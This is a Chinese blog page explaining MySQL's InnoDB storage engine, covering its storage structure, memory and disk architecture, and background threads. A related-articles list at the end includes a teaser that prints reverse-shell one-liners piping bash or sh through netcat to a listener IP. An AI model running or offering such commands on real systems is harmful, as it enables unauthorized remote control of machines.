MySQL中InnoDB存储引擎详细介绍

介绍

InnoDB是一种兼顾高可靠性高和高性能的通用存储引擎,在MySQL5.5之后,InnoDB是默认的MySQL存储引擎。

特点

  1. DML(增删改)操作遵循ACID(事务四大特性)模型,支持事务;
  2. 行级锁,提高并发访问性能
  3. 支持外链FORELGN KEY约束,保证数据的完整性和正确性

文件

xxx.ibd:xxx代表的是表名,innoDB引擎的每张表都会对应这样一个表空间文件,存储该表的表结构、数据和索引

逻辑存储结构

  • 表空间:一个MySQL实例可以对应多个表空间,用于存储记录、索引等数据

  • :分为数据段、索引段、回滚段,InnoDB是索引组织表,数据段就是B+树的叶子节点,段用来管理多个区

  • :表空间的单元结构,每个区的大小为1M,默认情况下,InnoDB存储引擎页的大小为16K,即一个区中有64个连续的页。

  • :是InnoDB存储引擎磁盘管理的最小单元,每个页的大小默认为16K.为了保证页的连续性,InnoDB存储引擎每次从磁盘申请4-5个区。

  • :InnoDB存储引擎数据是按行进行存放的。

    • Trx_id:每次对某条记录进行改动时,都会把对应的事务id赋值给trx_id隐藏列

    • Roll pointer:每次对每条记录进行改动时,都会把旧的版本写入到undo日志中,然后这个隐藏列就相当于一个指针,可以通过它来找到该记录修改前的信息

架构

MySQL5.5版本开始,默认使用InnoDB存储引擎,它擅长事务处理,具有崩溃回复特性,在日常开发中使用非常广泛。下面是InnoDB架构图左侧为内存结构,右边为磁盘结构

内存结构

  • BufferPool

    缓冲池是主内存中个一个区域,里面可以缓存磁盘上经常操作的真实数据,在执行增删改查操作时,先操作缓冲池中的数据(若缓冲池没有数据,则从磁盘加载并缓存),然后再以一定频率刷新到磁盘,从而减少磁盘IO,加快处理速度。

    缓冲池以Page为单位,底层采用链表数据结构管理Page,将Page分为三种类型

    • free page:空闲page,未被使用

    • clean page:被使用page,数据没有被修改过

    • dirty page:脏页,被使用page,数据被修改过,页中数据与磁盘的数据产生了不一致

  • Change buffer

    更改缓冲区(针对于非唯一二级索引),在执行DML语句时,如果这些数据page没有在Buffer Pool,不会直接操作磁盘,而会将数据变更存在更改缓冲区Change Buffer中,在未来数据被读取时,再将数据合并恢复到Buffer Pool中,再将合并后的数据刷新到磁盘中

    意义:与聚集索引不同,二级索引通常是非唯一的,并且以相对随机的顺序插入索引。同样,删除、更新可能会影响索引树中不相邻的二级索引页,如果每一次都操作磁盘,会造成大量的磁盘IO,有了Change Buffer后,我们可以在缓冲池种进行合并处理,减少磁盘IO

  • Adaptive Hash Index:自适应hash索引,用户优化对Buffer Pool数据的查询。InnoDB引擎会监控对表上各索引页的查询,如果观察到hash索引可以提升速度,则建立hash索引,称之为自适应hash索引。

    自适应哈希索引,无需人工干预,是系统根据情况自动完成。

    参数:adaptive_hash_index

  • Log Buffer:日志缓冲区,用来保存要写入到磁盘中的log日志数据(redo log、undo log),默认大小为16MB,日志缓冲区的日志会定期刷新到磁盘中。如果需要更新、插入或删除多行的事务,增加日志缓冲区的大小可以节省磁盘I/O。

    参数:

    • innodb_log_buffer_size:缓冲的大小;

    • innodb_flush_log_at_trx_commit:日志刷新到磁盘时机(有三个值分别为1、0、2)

      • 1:日志每次事务提交时并刷新到磁盘

      • 0:每秒将日志写入并刷新到磁盘一次

      • 2:日志在每次事务提交后写入,并每秒刷新到磁盘一次

磁盘结构

  • System Tablespace:系统表空间是更改缓冲区的存储区域,如果表是在系统表空间而不是每个表文件或通用表空间中创建的,它也可能包含表和索引数据(在MySQL5.x版本中含包含InnoDB数据字典、undolog等)

    参数:innodb_data_file_path

  • File-Per Tablespace:每个表的文件表空间包含单个InnoDB表的数据和索引,并存储在文件系统上的单个数据文件中

    参数:innodb_file_per_table

  • General Tablespace:通用表空间,需要通过CREATE TABLESPACE语法创建通用表空间,在创建表时,可以指定该表空间

  • Undo Tables:撤销表空间,MySQL实例在初始化时会自动创建两个默认的undo表空间(初始化大小为16M),用于存储undo log日志

  • Tempory Tablespace:InnoDB使用会话临时表空间和全局临时表空间,存储用户创建的临时表等数据

  • Doublewrite Buffer Files:双写缓冲区,innodb引擎将数据页从Buffer Pool刷新到磁盘前,先将数据页写入双写缓冲区文件中,便于系统异常时恢复数据。

    文件:#ib_16384_0.dblwr和#ib_16384_1.dblwr

  • Redo Log:重做日志,是用来实现事务的持久性,该日志文件由两部分组成:重做日志缓冲区以及重做日志文件,前者是在内存中,后者在磁盘中。当事务提交之后会把所有修改信息都会存到该日志中,用于在刷新脏页到磁盘时,发生错误时,进行数据恢复使用。

    以循环方式写入重做日志文件,涉及两个文件:ib_logfile0和ib_logfile1

后台线程

主要用于将缓冲池的数据刷新到磁盘中。

  1. Master Thread

    核心后台线程,负责调度其他线程,还负责将缓冲池中的数据异步刷新到磁盘中,保持数据的一致性,还包括脏页的刷新、合并插入缓存、undo页的回收

  2. IO Thread

    在InnoDB存储引擎中大量使用了AIO来处理IO请求,这样可以极大地提高数据库的性能,而IO Thread主要负责这些IO请求的回调。

  3. Purge Thread

    主要用于回收事务已经提交了的undo log,在事务提交之后,undo log可能不用了,就用它来回收

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/562172.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Jenkins服务器IP更换,Jenkins URL地址更换

服务器的网络地址发生变动,修改jenkins服务器IP地址后,jenkins网页能够打开,但是job中的配置钩子没有自动改变,如图所示: 经过查询资料了解,需要修改jenkins本地化配置地址才可以显示正确: 1、…

2024最好用的11个AI搜索引擎工具盘点!

0. 未来百科 未来百科,最大的 中文AI 产品导航网站 —— 为发现全球优质 AI 工具而生 。目前已 聚集全球 10000优质 AI 工具产品 ,旨在帮助用户发现全球最好的 AI 工具,同时为研发 AI 垂直应用的创业公司提供展示窗口,迎接未来的…

如何在群晖NAS部署office系统办公服务并实现无公网IP远程编辑文件

文章目录 本教程解决的问题是:1. 本地环境配置2. 制作本地分享链接3. 制作公网访问链接4. 公网ip地址访问您的分享相册5. 制作固定公网访问链接 本教程解决的问题是: 1.Word,PPT,Excel等重要文件存在本地环境,如何在编…

【001_IoT/物联网通信协议基础: HTTP、Websocket、MQTT、AMQP、COAP、LWM2M一文搞懂】

001_IoT/物联网通信协议基础: HTTP、Websocket、MQTT、AMQP、COAP、LWM2M一文搞懂 文章目录 001_IoT/物联网通信协议基础: HTTP、Websocket、MQTT、AMQP、COAP、LWM2M一文搞懂创作背景通信模型ISO/OSI七层模型 和 TCP/IP四层模型网络通信数据包格式(Ethernet II&…

Linux SDIO-WiFi 协议栈

Linux SDIO-WiFi 协议栈 1. 简介2. BCMDHD2.1 WiFi模组 1. 简介 2. BCMDHD BCMDHD:Broadcom Dongle Host DriverSIP:System In Package 2.1 WiFi模组

互连芯片浪潮席卷AI服务器:突破瓶颈,再创辉煌

改变AI服务器:互连芯片技术创新和突破 AI服务器崛起,引领未来创新根据TrendForce数据,AI服务器出货量达130,000台,占服务器总出货量的1%。主要制造商推出生成式AI产品,推动订单激增。ChatGPT等应用的需求持续增长&…

html2Canvas截图包含滚动条解决思路

概况描述 在项目中使用html2Canvas进行截图时发现无法截取滚动条部分,前端是使用vue2的版本,网上找了很多方式都没效果,冷静思考后,给出解决办法。 解决思路 当我们截取的div容器的宽和高与内部的子容器div的宽和高不一样时,内部div就会出现滚动条,因为我们截取的div与…

OSPF的学习笔记

1.OSPF (1)链路状态路由协议的路由信息并不是像距离矢量路由协议那样(邻居告诉的),通过收集自身以及邻居发出的LSA(原材料),并LSA放到指定仓库里面(LSDB),通过SPF算法,以自己为根计算到达网络每个节点的最优…

【Spring Boot】掌握Spring Boot:深入解析配置文件的使用与管理

💓 博客主页:从零开始的-CodeNinja之路 ⏩ 收录文章:【Spring Boot】掌握Spring Boot:深入解析配置文件的使用与管理 🎉欢迎大家点赞👍评论📝收藏⭐文章 目录 Spring Boot 配置文件一. 配置文…

第65天:API攻防-接口安全WebPackRESTSOAPWSDLWebService

目录 思维导图 前置知识 案例一:WebService 类-Wsdl&ReadyAPI-SQL 注入 案例二:SOAP 类-Swagger&SoapUI&EXP-信息泄露 案例三:HTTP 类-WebPack&PackerFuzzer-信息泄露 思维导图 前置知识 RPC接口: 登录游戏时候登录账号…

细说会话三剑客: Cookie、Session和Token

0. 必要性论证 在日常的开发中,不管是前端或者后端领域,都绕不开用户状态和会话的管理方面的内容。因此有必要理解清楚三种技术的基本原理和使用场景以及三者之间的区别,当然,在面试过程中,这也是一个很常见的基本面试…

毕业设计——基于ESP32的智能家居系统(语音识别、APP控制)

ESP32嵌入式单片机实战项目 一、功能演示二、项目介绍1、功能演示2、外设介绍 三、资料获取 一、功能演示 多种控制方式 ① 语音控制 ②APP控制 ③本地按键控制 ESP32嵌入式单片机实战项目演示 二、项目介绍 1、功能演示 这一个基于esp32c3的智能家居控制系统,能实…

InFusion:通过从扩散先验学习深度完成来修复3D高斯

InFusion: Inpainting 3D Gaussians via Learning Depth Completion from Diffusion Prior InFusion:通过从扩散先验学习深度完成来修复3D高斯 Zhiheng Liu * 刘志恒 *1144Hao Ouyang * 欧阳浩 *2233Qiuyu Wang 王秋雨33Ka Leong Cheng 郑家亮2233Jie Xiao 街小…

【已解决简单好用】notepad++怎么设置中文

打开Notepad软件。点击软件界面顶部菜单栏中的“Settings”选项。在下拉菜单中选择“Preferences”进行语言设置。在打开的设置窗口中,找到“General”选项。在“General”选项中,找到“Localization”(界面语言)项。在下拉菜单中…

磁性呼吸传感技术与机器学习结合在COVID-19审断中的应用

介绍 呼吸不仅是人类生存的基础,而且其模式也是评估个体健康状态的关键指标。异常的呼吸模式往往是呼吸系统疾病的一个警示信号,包括但不限于慢性阻塞性肺病(COPD)、阻塞性睡眠呼吸暂停(OSA)、肺炎、囊性纤…

python免费调用阿里云通义千问(q-wen-max)大模型API

文章目录 通义千问开通免费API Keypython调用阿里云通义千问API 通义千问 通义千问,是基于阿里巴巴达摩院在自然语言处理领域的研究和积累。采用更先进的算法和更优化的模型结构,能够更准确地理解和生成自然语言、代码、表格等文本。 支持更多定制化需…

自媒体个人品牌IP策划打造孵化运营方案

【干货资料持续更新,以防走丢】 自媒体个人品牌IP策划打造孵化运营方案 部分资料预览 资料部分是网络整理,仅供学习参考。 ppt可编辑(完整资料包含以下内容)目录个人IP孵化方案概要: 1. 目标定位与市场分析 - 女性…

二叉树链式结构的实现-二叉树的前序 中序 后序 层序遍历

一、二叉树的结构了解 二叉树是: 空树非空:根节点,根节点的左子树、根节点的右子树组成的。 前序: 根 左子树 右子树 --》先根 中序:左子树 根 右子树 --》中根 后序:左子树 右子树 根 --》后根 层序&…

kali /mac 成功的反弹shell语句

mac &#xff1a;192.168.19.107 kali:192.168.19.111 kali 监听mac : nc -lvvp 6666 mac执行&#xff1a; 1: mknod backpipe p && nc 192.168.19.111 6666 0<backpipe | /bin/bash 1>backpipe 2: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&…

密钥密码学(一)

原文&#xff1a;annas-archive.org/md5/b5abcf9a07e32fc6f42b907f001224a1 译者&#xff1a;飞龙 协议&#xff1a;CC BY-NC-SA 4.0 前言 序言 从秘密解码环到政府政策声明&#xff0c;隐藏和发现信息的挑战长期以来一直吸引着智慧。密码学是一个引人入胜的主题&#xff0c;…